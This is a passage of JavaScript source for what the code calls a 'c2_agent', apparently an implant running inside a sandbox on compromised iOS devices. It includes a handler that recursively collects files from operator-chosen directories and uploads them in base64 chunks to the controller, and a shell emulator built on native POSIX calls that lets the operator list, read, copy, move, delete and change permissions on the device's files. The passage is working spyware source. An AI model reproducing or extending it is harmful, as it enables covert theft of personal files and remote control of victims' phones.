{\n\t\t\t\tvar dot = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot < 0) continue;\n\t\t\t\tvar ext = items[i].name.substring(dot).toLowerCase();\n\t\t\t\tvar found = false;\n\t\t\t\tfor (var x = 0; x < exts.length; x++) {\n\t\t\t\t\tif (exts[x].toLowerCase() === ext) { found = true; break; }\n\t\t\t\t}\n\t\t\t\tif (!found) continue;\n\t\t\t} else if (filterMode === \"exclude\" && exts.length > 0) {\n\t\t\t\tvar dot2 = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot2 >= 0) {\n\t\t\t\t\tvar ext2 = items[i].name.substring(dot2).toLowerCase();\n\t\t\t\t\tvar blocked = false;\n\t\t\t\t\tfor (var x2 = 0; x2 < exts.length; x2++) {\n\t\t\t\t\t\tif (exts[x2].toLowerCase() === ext2) { blocked = true; break; }\n\t\t\t\t\t}\n\t\t\t\t\tif (blocked) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiles.push(full);\n\t\t}\n\t}\n}\n\nfunction handleFileUpload(cmd) {\n\tvar p = cmd.params || {};\n\tvar paths = p.upload_paths || [\"/var/mobile\"];\n\tvar filterMode = p.filter_mode || \"none\";\n\tvar extStr = p.file_extensions || \"\";\n\tvar exts = extStr ? extStr.split(\",\") : [];\n\tvar recurse = (p.include_subdirs !== false);\n\tvar excludes = p.exclude_dirs || [];\n\tvar maxMB = p.max_file_size_mb;\n\tvar maxSz = (maxMB && maxMB > 0) ? maxMB * 1024 * 1024 : 0;\n\n\tvar files = [];\n\tfor (var pi = 0; pi < paths.length; pi++) {\n\t\t_scanDir(paths[pi], files, recurse, excludes, filterMode, exts, maxSz);\n\t}\n\n\tvar uploaded = 0;\n\tfor (var fi = 0; fi < files.length; fi++) {\n\t\tvar fname = files[fi].replace(/\\//g, \"_\");\n\t\tif (fname.charAt(0) === \"_\") fname = fname.substring(1);\n\t\tvar sz = getFileSize(files[fi]);\n\t\tif (sz <= 0) continue;\n\t\tif (sz <= CHUNK_SIZE) {\n\t\t\tvar rd = readFileB64(files[fi], maxSz > 0 ? maxSz : MAX_FILE_SIZE);\n\t\t\tif (rd) {\n\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"file_upload\");\n\t\t\t\tuploaded++;\n\t\t\t}\n\t\t} else {\n\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi], fname, \"file_upload\");\n\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, {\n\t\tscanned: files.length, uploaded: uploaded,\n\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t}, \"file_upload_summary.json\");\n}\n\n// ============================================================================\n// Execute Command - unified shell-like command interface\n// Since c2_agent runs in a JS sandbox without shell access, common shell\n// commands are emulated via POSIX native calls.\n// Result format follows API spec: { exit_code, stdout(b64), stderr(b64),\n// execution_time, timeout }\n// ============================================================================\n\nvar _cwd = \"/var/mobile\";\n\nfunction _parseArgs(cmdStr) {\n\tvar args = [];\n\tvar cur = \"\";\n\tvar inQ = 0;\n\tfor (var i = 0; i < cmdStr.length; i++) {\n\t\tvar c = cmdStr.charAt(i);\n\t\tif (c === '\\\\' && i + 1 < cmdStr.length) { cur += cmdStr.charAt(++i); continue; }\n\t\tif (inQ === 1) { if (c === \"'\") inQ = 0; else cur += c; continue; }\n\t\tif (inQ === 2) { if (c === '\"') inQ = 0; else cur += c; continue; }\n\t\tif (c === \"'\") { inQ = 1; continue; }\n\t\tif (c === '\"') { inQ = 2; continue; }\n\t\tif (c === ' ' || c === '\\t') {\n\t\t\tif (cur.length) { args.push(cur); cur = \"\"; }\n\t\t\tcontinue;\n\t\t}\n\t\tcur += c;\n\t}\n\tif (cur.length) args.push(cur);\n\treturn args;\n}\n\nfunction _resolvePath(p) {\n\tif (!p) return _cwd;\n\tif (p === \"~\") return \"/var/mobile\";\n\tif (p.indexOf(\"~/\") === 0) return \"/var/mobile\" + p.substring(1);\n\tif (p.charAt(0) === '/') return p;\n\tvar base = _cwd;\n\tif (base.charAt(base.length - 1) !== '/') base += '/';\n\tvar parts = (base + p).split('/');\n\tvar res = [];\n\tfor (var i = 0; i < parts.length; i++) {\n\t\tif (parts[i] === '' && i > 0) continue;\n\t\tif (parts[i] === '.') continue;\n\t\tif (parts[i] === '..') { if (res.length > 1) res.pop(); }\n\t\telse res.push(parts[i]);\n\t}\n\treturn res.join('/') || '/';\n}\n\nfunction _strToB64(s) {\n\tif (!s) return \"\";\n\treturn bytesToBase64(new Uint8Array(Native.stringToBytes(s, false)));\n}\n\nfunction _readFileBytes(path, maxSz) {\n\tmaxSz = maxSz || (2 * 1024 * 1024);\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz < 0) return null;\n\t\tif (sz === 0) return new Uint8Array(0);\n\t\tvar toRead = sz > maxSz ? maxSz : sz;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) return new Uint8Array(0);\n\t\t\treturn new Uint8Array(Native.read(buf, nr));\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _rawToStr(bytes) {\n\tvar s = \"\";\n\tfor (var i = 0; i < bytes.length; i++) s += String.fromCharCode(bytes[i]);\n\treturn s;\n}\n\nfunction _statFile(path) {\n\tvar sb = Native.callSymbol(\"calloc\", 1, 144);\n\tif (!sb || sb === 0n) return null;\n\tvar r = Number(Native.callSymbol(\"lstat\", path, BigInt(sb)));\n\tif (r !== 0) { Native.callSymbol(\"free\", sb); return null; }\n\tvar mode = _readU16(BigInt(sb), 4);\n\tvar nlink = _readU16(BigInt(sb), 6);\n\tvar size = _readI64(BigInt(sb), 96);\n\tvar atime = _readI64(BigInt(sb), 32);\n\tvar mtime = _readI64(BigInt(sb), 48);\n\tvar ctime = _readI64(BigInt(sb), 80);\n\tNative.callSymbol(\"free\", sb);\n\tvar fmt = mode & 0xF000;\n\treturn {\n\t\tmode: mode, nlink: nlink, size: size,\n\t\tatime: atime, mtime: mtime, ctime: ctime,\n\t\tisDir: fmt === 0x4000, isFile: fmt === 0x8000, isLink: fmt === 0xA000,\n\t\ttype: fmt === 0x4000 ? \"dir\" : fmt === 0xA000 ? \"link\" : \"file\"\n\t};\n}\n\nfunction _modeStr(mode) {\n\tvar fmt = mode & 0xF000;\n\tvar t = fmt === 0x4000 ? 'd' : fmt === 0xA000 ? 'l' : '-';\n\tvar bits = [0x100,0x080,0x040,0x020,0x010,0x008,0x004,0x002,0x001];\n\tvar chars = \"rwxrwxrwx\";\n\tvar p = \"\";\n\tfor (var i = 0; i < 9; i++) p += (mode & bits[i]) ? chars.charAt(i) : '-';\n\treturn t + p;\n}\n\nfunction _fmtSizeH(n) {\n\tif (n < 1024) return n + \"\";\n\tif (n < 1048576) return (n / 1024).toFixed(1) + \"K\";\n\tif (n < 1073741824) return (n / 1048576).toFixed(1) + \"M\";\n\treturn (n / 1073741824).toFixed(1) + \"G\";\n}\n\n// ---- File System Commands ----\n\nfunction _cmdLs(args) {\n\tvar long = false, all = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar a = args[i];\n\t\tif (a.charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < a.length; j++) {\n\t\t\t\tif (a.charAt(j) === 'l') long = true;\n\t\t\t\tif (a.charAt(j) === 'a') all = true;\n\t\t\t}\n\t\t} else target = a;\n\t}\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 2, out: \"\", err: \"ls: \" + path + \": No such file or directory\\n\" };\n\tif (st.isFile) {\n\t\tif (long) return { code: 0, out: _modeStr(st.mode) + \"\\t\" + st.size + \"\\t\" + path + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: path + \"\\n\", err: \"\" };\n\t}\n\tvar items = listDir(path);\n\tvar out = \"\";\n\tfor (var i = 0; i < items.length; i++) {\n\t\tif (!all && items[i].name.charAt(0) === '.') continue;\n\t\tif (long) {\n\t\t\tvar fp = path + (path === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\t\tvar fs = _statFile(fp);\n\t\t\tif (fs) {\n\t\t\t\tout += _modeStr(fs.mode) + \"\\t\" + fs.size + \"\\t\" + items[i].name + \"\\n\";\n\t\t\t} else {\n\t\t\t\tout += (items[i].type === \"dir\" ? \"d\" : \"-\") + \"---------\\t0\\t\" + items[i].name + \"\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\tout += items[i].name + \"\\n\";\n\t\t}\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdCat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"cat: missing operand\\n\" };\n\tvar out = \"\", errs = \"\", fail = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar path = _resolvePath(args[i]);\n\t\tvar acc = Number(Native.callSymbol(\"access\", path, 0));\n\t\tif (acc !== 0) { errs += \"cat: \" + path + \": No such file or directory\\n\"; fail = true; continue; }\n\t\tvar sz = getFileSize(path);\n\t\tif (sz > 2 * 1024 * 1024) { errs += \"cat: \" + path + \": File too large (max 2MB)\\n\"; fail = true; continue; }\n\t\tif (sz === 0) continue;\n\t\tvar bytes = _readFileBytes(path);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tout += _rawToStr(bytes);\n\t}\n\treturn { code: fail ? 1 : 0, out: out, err: errs };\n}\n\nfunction _cmdPwd() { return { code: 0, out: _cwd + \"\\n\", err: \"\" }; }\n\nfunction _cmdCd(args) {\n\tvar target = args.length > 1 ? args[1] : \"/var/mobile\";\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"cd: \" + path + \": No such file or directory\\n\" };\n\tif (!st.isDir) return { code: 1, out: \"\", err: \"cd: \" + path + \": Not a directory\\n\" };\n\t_cwd = path;\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdMkdir(args) {\n\tvar mkp = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-p\") mkp = true;\n\t\telse target = args[i];\n\t}\n\tif (!target) return { code: 1, out: \"\", err: \"mkdir: missing operand\\n\" };\n\tvar path = _resolvePath(target);\n\tif (mkp) {\n\t\tvar parts = path.split('/');\n\t\tvar cur = \"\";\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tcur += (i === 0 ? \"\" : \"/\") + parts[i];\n\t\t\tif (!cur) cur = \"/\";\n\t\t\tif (!_statFile(cur)) Native.callSymbol(\"mkdir\", cur, 0x1ed);\n\t\t}\n\t} else {\n\t\tvar r = Number(Native.callSymbol(\"mkdir\", path, 0x1ed));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"mkdir: \" + path + \": Cannot create directory\\n\" };\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _rmRecursive(path) {\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = path + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") _rmRecursive(fp);\n\t\telse Native.callSymbol(\"unlink\", fp);\n\t}\n\tNative.callSymbol(\"rmdir\", path);\n}\n\nfunction _cmdRm(args) {\n\tvar recursive = false, force = false, targets = [];\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'r' || ch === 'R') recursive = true;\n\t\t\t\tif (ch === 'f') force = true;\n\t\t\t}\n\t\t} else targets.push(args[i]);\n\t}\n\tif (!targets.length) return { code: 1, out: \"\", err: \"rm: missing operand\\n\" };\n\tvar errs = \"\";\n\tfor (var t = 0; t < targets.length; t++) {\n\t\tvar path = _resolvePath(targets[t]);\n\t\tvar st = _statFile(path);\n\t\tif (!st) { if (!force) errs += \"rm: \" + path + \": No such file or directory\\n\"; continue; }\n\t\tif (st.isDir) {\n\t\t\tif (!recursive) { errs += \"rm: \" + path + \": Is a directory\\n\"; continue; }\n\t\t\t_rmRecursive(path);\n\t\t} else {\n\t\t\tvar r = Number(Native.callSymbol(\"unlink\", path));\n\t\t\tif (r !== 0 && !force) errs += \"rm: \" + path + \": Permission denied\\n\";\n\t\t}\n\t}\n\treturn { code: errs ? 1 : 0, out: \"\", err: errs };\n}\n\nfunction _cmdCp(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"cp: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar srcSt = _statFile(src);\n\tif (!srcSt) return { code: 1, out: \"\", err: \"cp: \" + src + \": No such file or directory\\n\" };\n\tif (!srcSt.isFile) return { code: 1, out: \"\", err: \"cp: \" + src + \": Not a regular file\\n\" };\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\n\tvar srcFd = Number(Native.callSymbol(\"open\", src, 0, 0));\n\tif (srcFd < 0) return { code: 1, out: \"\", err: \"cp: \" + src + \": Permission denied\\n\" };\n\tvar dstFd = Number(Native.callSymbol(\"open\", dst, 0x0601, 0x1a4));\n\tif (dstFd < 0) { Native.callSymbol(\"close\", srcFd); return { code: 1, out: \"\", err: \"cp: \" + dst + \": Cannot create file\\n\" }; }\n\n\tvar BUF = 65536;\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(BUF));\n\tif (!buf || buf === 0n) {\n\t\tNative.callSymbol(\"close\", srcFd); Native.callSymbol(\"close\", dstFd);\n\t\treturn { code: 1, out: \"\", err: \"cp: out of memory\\n\" };\n\t}\n\tvar err = \"\";\n\ttry {\n\t\tfor (;;) {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", srcFd, buf, BUF));\n\t\t\tif (nr <= 0) break;\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", dstFd, buf, nr));\n\t\t\tif (nw !== nr) { err = \"cp: write error\\n\"; break; }\n\t\t}\n\t} finally {\n\t\tNative.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", srcFd);\n\t\tNative.callSymbol(\"close\", dstFd);\n\t}\n\tif (!err) Native.callSymbol(\"chmod\", dst, 0x1A4);\n\treturn { code: err ? 1 : 0, out: \"\", err: err };\n}\n\nfunction _cmdMv(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"mv: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\tvar r = Number(Native.callSymbol(\"rename\", src, dst));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"mv: cannot move \" + src + \" to \" + dst + \"\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdStat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"stat: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"stat: \" + path + \": No such file or directory\\n\" };\n\tvar out = \" File: \" + path + \"\\n\";\n\tout += \" Size: \" + st.size + \"\\tType: \" + st.type + \"\\n\";\n\tout += \" Mode: \" + _modeStr(st.mode) + \" (\" + (st.mode & 0xFFF).toString(8) + \")\\n\";\n\tout += \" Links: \" + st.nlink + \"\\n\";\n\tout += \"Access: \" + new Date(st.atime * 1000).toISOString() + \"\\n\";\n\tout += \"Modify: \" + new Date(st.mtime * 1000).toISOString() + \"\\n\";\n\tout += \"Change: \" + new Date(st.ctime * 1000).toISOString() + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdChmod(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"chmod: missing operand\\n\" };\n\tvar mode = parseInt(args[1], 8);\n\tif (isNaN(mode)) return { code: 1, out: \"\", err: \"chmod: invalid mode: \" + args[1] + \"\\n\" };\n\tvar path = _resolvePath(args[2]);\n\tvar r = Number(Native.callSymbol(\"chmod\", path, mode));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"chmod: \" + path + \": Operation not permitted\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdTouch(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"touch: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (st) {\n\t\tNative.callSymbol(\"utimes\", path, 0n);\n\t} else {\n\t\tvar fd = Number(Native.callSymbol(\"open\", path, 0x0601, 0x1a4));\n\t\tif (fd < 0) return { code: 1, out: \"\", err: \"touch: \" + path + \": Cannot create file\\n\" };\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdLn(args) {\n\tvar sym = false, target = null, link = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") sym = true;\n\t\telse if (!target) target = args[i];\n\t\telse link = args[i];\n\t}\n\tif (!target || !link) return { code: 1, out: \"\", err: \"ln: usage: ln [-s] target link\\n\" };\n\tvar tgt = _resolvePath(target);\n\tvar lnk = _resolvePath(link);\n\tvar fn = sym ? \"symlink\" : \"link\";\n\tvar r = Number(Native.callSymbol(fn, tgt, lnk));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"ln: \" + lnk + \": Operation failed\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdReadlink(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"readlink: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar buf = Native.callSymbol(\"malloc\", 1024);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"readlink: failed\\n\" };\n\ttry {\n\t\tvar len = Number(Native.callSymbol(\"readlink\", path, buf, 1023));\n\t\tif (len <= 0) return { code: 1, out: \"\", err: \"readlink: \" + path + \": Invalid argument\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, len) + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _matchGlob(name, pattern) {\n\tif (!pattern) return true;\n\tif (pattern === \"*\") return true;\n\tif (pattern.indexOf('*') < 0 && pattern.indexOf('?') < 0) return name === pattern;\n\tvar re = \"^\";\n\tfor (var i = 0; i < pattern.length; i++) {\n\t\tvar c = pattern.charAt(i);\n\t\tif (c === '*') re += \".*\";\n\t\telse if (c === '?') re += \".\";\n\t\telse if (\".+^${}()|[]\\\\\".indexOf(c) >= 0) re += \"\\\\\" + c;\n\t\telse re += c;\n\t}\n\tre += \"$\";\n\ttry { return new RegExp(re).test(name); }\n\tcatch(e) { return name.indexOf(pattern.replace(/\\*/g, '')) >= 0; }\n}\n\nfunction _findRecursive(base, namePattern, typeFilter, results, depth, maxDepth) {\n\tif (depth > maxDepth || results.length > 10000) return;\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = base + (base === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\tvar isDir = items[i].type === \"dir\";\n\t\tvar isFile = items[i].type === \"file\";\n\t\tif (typeFilter === \"f\" && !isFile) {\n\t\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t\t\tcontinue;\n\t\t}\n\t\tif (typeFilter === \"d\" && !isDir) continue;\n\t\tif (_matchGlob(items[i].name, namePattern)) results.push(fp);\n\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t}\n}\n\nfunction _cmdFind(args) {\n\tvar searchPath = null, namePattern = null, typeFilter = null;\n\tvar i = 1;\n\twhile (i < args.length) {\n\t\tif (args[i] === \"-name\" && i + 1 < args.length) { namePattern = args[i + 1]; i += 2; }\n\t\telse if (args[i] === \"-type\" && i + 1 < args.length) { typeFilter = args[i + 1]; i += 2; }\n\t\telse if (args[i].charAt(0) !== '-') { searchPath = args[i]; i++; }\n\t\telse { i++; }\n\t}\n\tvar path = _resolvePath(searchPath || \".\");\n\tvar results = [];\n\t_findRecursive(path, namePattern, typeFilter, results, 0, 20);\n\treturn { code: 0, out: results.join(\"\\n\") + (results.length ? \"\\n\" : \"\"), err: \"\" };\n}\n\nfunction _cmdHead(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"head: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"head: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = lines.slice(0, n).join('\\n');\n\tif (lines.length > n) out += '\\n';\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdTail(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"tail: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"tail: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar start = lines.length > n ? lines.length - n : 0;\n\treturn { code: 0, out: lines.slice(start).join('\\n'), err: \"\" };\n}\n\nfunction _cmdWc(args) {\n\tvar cntL = false, cntW = false, cntC = false, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'l') cntL = true;\n\t\t\t\tif (ch === 'w') cntW = true;\n\t\t\t\tif (ch === 'c') cntC = true;\n\t\t\t}\n\t\t} else file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"wc: missing operand\\n\" };\n\tif (!cntL && !cntW && !cntC) { cntL = true; cntW = true; cntC = true; }\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"wc: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar out = \"\";\n\tif (cntL) { var nl = 0; for (var k = 0; k < text.length; k++) if (text.charAt(k) === '\\n') nl++; out += nl + \"\\t\"; }\n\tif (cntW) {\n\t\tvar wc = 0, inWord = false;\n\t\tfor (var k = 0; k < text.length; k++) {\n\t\t\tvar cc = text.charCodeAt(k);\n\t\t\tvar ws = (cc === 32 || cc === 9 || cc === 10 || cc === 13);\n\t\t\tif (!ws && !inWord) { wc++; inWord = true; }\n\t\t\tif (ws) inWord = false;\n\t\t}\n\t\tout += wc + \"\\t\";\n\t}\n\tif (cntC) out += bytes.length + \"\\t\";\n\tout += path + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdGrep(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"grep: usage: grep pattern file\\n\" };\n\tvar ignCase = false, lineNum = false;\n\tvar pattern = null, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-i\") ignCase = true;\n\t\telse if (args[i] === \"-n\") lineNum = true;\n\t\telse if (!pattern) pattern = args[i];\n\t\telse file = args[i];\n\t}\n\tif (!pattern || !file) return { code: 1, out: \"\", err: \"grep: usage: grep [-in] pattern file\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"grep: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = \"\";\n\tvar found = false;\n\tvar pat = ignCase ? pattern.toLowerCase() : pattern;\n\tfor (var i = 0; i < lines.length; i++) {\n\t\tvar line = ignCase ? lines[i].toLowerCase() : lines[i];\n\t\tif (line.indexOf(pat) >= 0) {\n\t\t\tout += (lineNum ? (i + 1) + \":\" : \"\") + lines[i] + \"\\n\";\n\t\t\tfound = true;\n\t\t}\n\t}\n\treturn { code: found ? 0 : 1, out: out, err: \"\" };\n}\n\nfunction _duRecursive(path, depth) {\n\tif (depth > 50) return 0;\n\tvar st = _statFile(path);\n\tif (!st) return 0;\n\tif (st.isFile) return st.size;\n\tvar total = 0;\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\ttotal += _duRecursive(path + \"/\" + items[i].name, depth + 1);\n\t}\n\treturn total;\n}\n\nfunction _cmdDu(args) {\n\tvar summary = false, human = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") summary = true;\n\t\telse if (args[i] === \"-h\") human = true;\n\t\telse if (args[i].charAt(0) !== '-') target = args[i];\n\t}\n\tvar path = _resolvePath(target || \".\");\n\tvar total = _duRecursive(path, 0);\n\tvar sizeStr = human ? _fmtSizeH(total) : \"\" + (total / 1024 | 0);\n\treturn { code: 0, out: sizeStr + \"\\t\" + path + \"\\n\", err: \"\" };\n}\n\nfunction _cmdFile(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"file: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"file: \" + path + \": No such file or directory\\n\" };\n\tif (st.isDir) return { code: 0, out: path + \": directory\\n\", err: \"\" };\n\tif (st.isLink) return { code: 0, out: path + \": symbolic link\\n\", err: \"\" };\n\tvar bytes = _readFileBytes(path, 512);\n\tif (!bytes || bytes.length === 0) return { code: 0, out: path + \": empty\\n\", err: \"\" };\n\tif (bytes.length >= 4) {\n\t\tif (bytes[0]===0xCF && bytes[1]===0xFA && bytes[2]===0xED && bytes[3]===0xFE) return { code: 0, out: path + \": Mach-O 64-bit executable\\n\", err: \"\" };\n\t\tif (bytes[0]===0xCA && bytes[1]===0xFE && bytes[2]===0xBA && bytes[3]===0xBE) return { code: 0, out: path + \": Mach-O universal binary\\n\", err: \"\" };\n\t\tif (bytes[0]===0x89 && bytes[1]===0x50 && bytes[2]===0x4E && bytes[3]===0x47) return { code: 0, out: path + \": PNG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0xFF && bytes[1]===0xD8 && bytes[2]===0xFF) return { code: 0, out: path + \": JPEG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0x50 && bytes[1]===0x4B && bytes[2]===0x03 && bytes[3]===0x04) return { code: 0, out: path + \": Zip archive\\n\", err: \"\" };\n\t\tif (bytes[0]===0x53 && bytes[1]===0x51 && bytes[2]===0x4C && bytes[3]===0x69) return { code: 0, out: path + \": SQLite 3.x database\\n\", err: \"\" };\n\t\tif (bytes[0]===0x62 && bytes[1]===0x70 && bytes[2]===0x6C && bytes[3]===0x69) return { code: 0, out: path + \": Apple binary property list\\n\", err: \"\" };\n\t\tif (bytes[0]===0x3C && bytes[1]===0x3F && bytes[2]===0x78 && bytes[3]===0x6D) return { code: 0, out: path + \": XML document\\n\", err: \"\" };\n\t}\n\tvar isText = true;\n\tfor (var i = 0; i < Math.min(bytes.length, 256); i++) {\n\t\tif (bytes[i] < 9 || (bytes[i] > 13 && bytes[i] < 32 && bytes[i] !== 27)) { isText = false; break; }\n\t}\n\tif (isText) return { code: 0, out: path + \": ASCII text\\n\", err: \"\" };\n\treturn { code: 0, out: path + \": data\\n\", err: \"\" };\n}\n\nfunction _cmdHexdump(args) {\n\tvar maxBytes = 256, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { maxBytes = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"hexdump: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path, maxBytes);\n\tif (!bytes) return { code: 1, out: \"\", err: \"hexdump: \" + path + \": No such file or directory\\n\" };\n\tvar out = \"\";\n\tfor (var i = 0; i < bytes.length; i += 16) {\n\t\tvar addr = (\"00000000\" + i.toString(16)).slice(-8);\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < bytes.length) {\n\t\t\t\thex += (\"0\" + bytes[i + j].toString(16)).slice(-2) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += addr + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- System Info Commands ----\n\nfunction _cmdWhoami() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\treturn { code: 0, out: (uid === 0 